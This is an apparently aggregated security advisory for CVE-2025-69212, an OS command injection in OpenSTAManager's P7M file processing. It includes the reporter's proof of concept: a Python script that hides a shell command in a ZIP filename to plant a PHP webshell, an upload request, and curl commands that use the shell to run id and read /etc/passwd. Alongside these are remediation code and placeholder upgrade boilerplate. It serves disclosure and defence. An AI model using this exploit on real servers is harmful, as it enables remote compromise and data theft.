CVE-2025-69212: Devcode it/openstamanager OpenSTAManager Has An OS Command Vulnerability

CRITICAL
Advisory Identifier: GHSA-25fp-8w8p-mx36
CWE-78
Published
Advisory Summary

CVE-2025-69212 is a CRITICAL openstamanager has an os command vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Devcode it/openstamanager libraries in the Packagist ecosystem. The issue involves openstamanager has an os command injection in p7m file processing. Remediation is available in the latest vendor maintenance releases.

CVE-2025-69212 at a Glance

CVE Identifier CVE-2025-69212
GHSA Identifier GHSA-25fp-8w8p-mx36
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Devcode it/openstamanager
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2025-69212

To remediate this vulnerability, upgrade all affected Devcode it/openstamanager dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

devcode-it/openstamanager fixed: Latest secure release
Upgrade devcode-it/openstamanager to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for devcode-it/openstamanager

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-69212, inspect your project dependencies for Devcode it/openstamanager:

inspect dependencies for devcode-it/openstamanager

Analyze the terminal output to locate any version of Devcode it/openstamanager in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Devcode it/openstamanager, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server. ## Vulnerable Code **File:** `src/Util/XML.php:100` ```php public static function decodeP7M($file) { $directory = pathinfo($file, PATHINFO_DIRNAME); $content = file_get_contents($file); $output_file = $directory.'/'.basename($file, '.p7m'); try { if (function_exists('exec')) { // VULNERABLE - No input sanitization! exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd); ``` **The Problem:** - The `$file` parameter is passed directly into `exec()` without sanitization - Although wrapped in double quotes, an attacker can escape them - The filename comes from uploaded ZIP archives (user-controlled) ## Attack Vector ### Entry Points: 1. **plugins/importFE_ZIP/actions.php:126** (when automatic import is enabled) ```php foreach ($files_xml as $xml) { if (string_ends_with($xml, '.p7m')) { $file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP! ``` 2. **plugins/importFE/src/FatturaElettronica.php:56** (constructor) ```php if (string_ends_with($name, '.p7m')) { $file = XML::decodeP7M($this->file); // $name from user input! ``` ### Attack Flow: 1. Attacker creates ZIP with malicious filename 2. Upload ZIP via importFE_ZIP plugin 3. Application extracts ZIP and iterates files 4. For `.p7m` files, `decodeP7M()` is called 5. Malicious filename is injected into `exec()` command 6. Arbitrary command executes as web server user ## Proof of Concept **⚠️ IMPORTANT NOTE:** PHP's `ZipArchive::extractTo()` splits filenames on `/` character. Payload must NOT contain `/` in commands. Use `cd directory && command` instead of absolute paths. ### Step 1: Create Malicious ZIP ```python import zipfile cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php" malicious_filename = f'invoice.p7m";{cmd};echo ".p7m' with zipfile.ZipFile('exploit.zip', 'w') as zf: zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT") ``` ### Step 2: Upload ZIP ```http POST /actions.php HTTP/1.1 Host: localhost:8081 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b ------WebKitFormBoundaryBKunENXxjEx5VrRc Content-Disposition: form-data; name="blob1"; filename="exploit.zip" Content-Type: application/zip [ZIP CONTENT] ------WebKitFormBoundaryBKunENXxjEx5VrRc-- Content-Disposition: form-data; name="op" save ------WebKitFormBoundaryBKunENXxjEx5VrRc Content-Disposition: form-data; name="id_module" 14 ------WebKitFormBoundaryBKunENXxjEx5VrRc Content-Disposition: form-data; name="id_plugin" 48 ------WebKitFormBoundaryBKunENXxjEx5VrRc-- ``` <img width="2539" height="809" alt="image" src="https://github.com/user-attachments/assets/f39cf6ad-9e8d-41de-866e-e01ec2064fd1" /> <img width="1543" height="659" alt="image" src="https://github.com/user-attachments/assets/41fbd038-0bce-4b1c-bdc3-8ddcf3bf13be" /> ### Step 3: Exploitation Result **Response (500 error is expected - XML parsing fails AFTER command execution):** ```http HTTP/1.1 500 Internal Server Error {"error":{"type":"Exception","message":"Start tag expected, '<' not found"}} ``` **Verification - Webshell Created:** <img width="1111" height="239" alt="image" src="https://github.com/user-attachments/assets/d2e36cf3-c438-4509-be46-36d5c6f3e0d1" /> ### Step 4: Remote Code Execution **Webshell is publicly accessible without authentication:** ```bash $ curl "http://localhost:8081/files/SHELL.php?c=id" uid=33(www-data) gid=33(www-data) groups=33(www-data) $ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd" [Full /etc/passwd output] ``` <img width="698" height="475" alt="image" src="https://github.com/user-attachments/assets/7ee4630b-95a8-450c-bdce-d6f703c8168d" /> ## Impact - **Remote Code Execution:** Full server compromise - **Data Exfiltration:** Access to all application data and database - **Privilege Escalation:** Potential escalation if web server runs with elevated privileges - **Persistence:** Install backdoors and maintain access - **Lateral Movement:** Pivot to other systems on the network ## Prerequisites - Authenticated user with access to invoice import functionality ## Remediation ### Input Sanitization ```php public static function decodeP7M($file) { // Validate that file path doesn't contain shell metacharacters if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) { throw new \Exception('Invalid file path'); } // Better: use escapeshellarg() $safe_file = escapeshellarg($file); $safe_output = escapeshellarg($output_file); exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd); } ``` or ### Validate Filename Before Processing ```php // In the upload handler, validate filenames from ZIP foreach ($files_xml as $xml) { // Only allow alphanumeric, dots, dashes, underscores if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) { continue; // Skip invalid filenames } if (string_ends_with($xml, '.p7m')) { $file = XML::decodeP7M($directory.'/'.$xml); } } ``` ## Credit Discovered by: Łukasz Rybak

CVE-2025-69212 Affected Devcode it/openstamanager Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
devcode-it/openstamanager
Packagist
≤ 2.9.8

References

Frequently Asked Questions

What is CVE-2025-69212?
CVE-2025-69212 is a security vulnerability in Devcode it/openstamanager involving OpenSTAManager has an OS Command Injection in P7M File Processing under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Devcode it/openstamanager versions are affected?
Affected versions include releases prior to current release patches across affected packages: devcode-it/openstamanager.
What version fixes CVE-2025-69212?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is devcode-it/openstamanager affected?
Yes, devcode-it/openstamanager is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2025-69212?
CVE-2025-69212 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Packagist dependencies for CVE-2025-69212?
Run the dependency tree command: 'inspect dependencies for devcode-it/openstamanager'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-25fp-8w8p-mx36",
  "modified" : "2026-02-06T22:11:47Z",
  "published" : "2026-02-06T17:59:37Z",
  "aliases" : [ "CVE-2025-69212" ],
  "summary" : "OpenSTAManager has an OS Command Injection in P7M File Processing",
  "details" : "## Summary\nA critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.\n\n\n## Vulnerable Code\n**File:** `src/Util/XML.php:100`\n\n```php\npublic static function decodeP7M($file)\n{\n    $directory = pathinfo($file, PATHINFO_DIRNAME);\n    $content = file_get_contents($file);\n\n    $output_file = $directory.'/'.basename($file, '.p7m');\n\n    try {\n        if (function_exists('exec')) {\n            // VULNERABLE - No input sanitization!\n            exec('openssl smime -verify -noverify -in \"'.$file.'\" -inform DER -out \"'.$output_file.'\"', $output, $cmd);\n```\n\n**The Problem:**\n- The `$file` parameter is passed directly into `exec()` without sanitization\n- Although wrapped in double quotes, an attacker can escape them\n- The filename comes from uploaded ZIP archives (user-controlled)\n\n## Attack Vector\n\n### Entry Points:\n1. **plugins/importFE_ZIP/actions.php:126** (when automatic import is enabled)\n   ```php\n   foreach ($files_xml as $xml) {\n       if (string_ends_with($xml, '.p7m')) {\n           $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!\n   ```\n\n2. **plugins/importFE/src/FatturaElettronica.php:56** (constructor)\n   ```php\n   if (string_ends_with($name, '.p7m')) {\n       $file = XML::decodeP7M($this->file);  // $name from user input!\n   ```\n\n### Attack Flow:\n1. Attacker creates ZIP with malicious filename\n2. Upload ZIP via importFE_ZIP plugin\n3. Application extracts ZIP and iterates files\n4. For `.p7m` files, `decodeP7M()` is called\n5. Malicious filename is injected into `exec()` command\n6. Arbitrary command executes as web server user\n\n## Proof of Concept\n\n**⚠️ IMPORTANT NOTE:** PHP's `ZipArchive::extractTo()` splits filenames on `/` character. Payload must NOT contain `/` in commands. Use `cd directory && command` instead of absolute paths.\n\n### Step 1: Create Malicious ZIP\n\n```python\nimport zipfile\n\ncmd = \"cd files && echo '<?php system($_GET[\\\"c\\\"]); ?>' > SHELL.php\"\nmalicious_filename = f'invoice.p7m\";{cmd};echo \".p7m'\n\nwith zipfile.ZipFile('exploit.zip', 'w') as zf:\n    zf.writestr(malicious_filename, b\"DUMMY_P7M_CONTENT\")\n```\n\n### Step 2: Upload ZIP\n\n```http\nPOST /actions.php HTTP/1.1\nHost: localhost:8081\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc\nCookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"blob1\"; filename=\"exploit.zip\"\nContent-Type: application/zip\n\n[ZIP CONTENT]\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\nContent-Disposition: form-data; name=\"op\"\n\nsave\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_module\"\n\n14\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_plugin\"\n\n48\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\n```\n<img width=\"2539\" height=\"809\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f39cf6ad-9e8d-41de-866e-e01ec2064fd1\" />\n\n<img width=\"1543\" height=\"659\" alt=\"image\" src=\"https://github.com/user-attachments/assets/41fbd038-0bce-4b1c-bdc3-8ddcf3bf13be\" />\n\n### Step 3: Exploitation Result\n\n**Response (500 error is expected - XML parsing fails AFTER command execution):**\n```http\nHTTP/1.1 500 Internal Server Error\n{\"error\":{\"type\":\"Exception\",\"message\":\"Start tag expected, '<' not found\"}}\n```\n\n**Verification - Webshell Created:**\n\n<img width=\"1111\" height=\"239\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d2e36cf3-c438-4509-be46-36d5c6f3e0d1\" />\n\n### Step 4: Remote Code Execution\n\n**Webshell is publicly accessible without authentication:**\n\n```bash\n$ curl \"http://localhost:8081/files/SHELL.php?c=id\"\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\n$ curl \"http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd\"\n[Full /etc/passwd output]\n```\n<img width=\"698\" height=\"475\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7ee4630b-95a8-450c-bdce-d6f703c8168d\" />\n\n\n## Impact\n\n- **Remote Code Execution:** Full server compromise\n- **Data Exfiltration:** Access to all application data and database\n- **Privilege Escalation:** Potential escalation if web server runs with elevated privileges\n- **Persistence:** Install backdoors and maintain access\n- **Lateral Movement:** Pivot to other systems on the network\n\n## Prerequisites\n\n- Authenticated user with access to invoice import functionality\n\n## Remediation\n\n###  Input Sanitization\n\n```php\npublic static function decodeP7M($file)\n{\n    // Validate that file path doesn't contain shell metacharacters\n    if (preg_match('/[;&|`$(){}\\\\[\\\\]<>]/', $file)) {\n        throw new \\Exception('Invalid file path');\n    }\n\n    // Better: use escapeshellarg()\n    $safe_file = escapeshellarg($file);\n    $safe_output = escapeshellarg($output_file);\n\n    exec(\"openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output\", $output, $cmd);\n}\n```\nor\n\n### Validate Filename Before Processing\n\n```php\n// In the upload handler, validate filenames from ZIP\nforeach ($files_xml as $xml) {\n    // Only allow alphanumeric, dots, dashes, underscores\n    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {\n        continue; // Skip invalid filenames\n    }\n\n    if (string_ends_with($xml, '.p7m')) {\n        $file = XML::decodeP7M($directory.'/'.$xml);\n    }\n}\n```\n\n\n## Credit\nDiscovered by: Łukasz Rybak",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "devcode-it/openstamanager"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.9.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-69212"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/devcode-it/openstamanager"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-06T17:59:37Z",
    "nvd_published_at" : "2026-02-06T19:16:07Z"
  }
}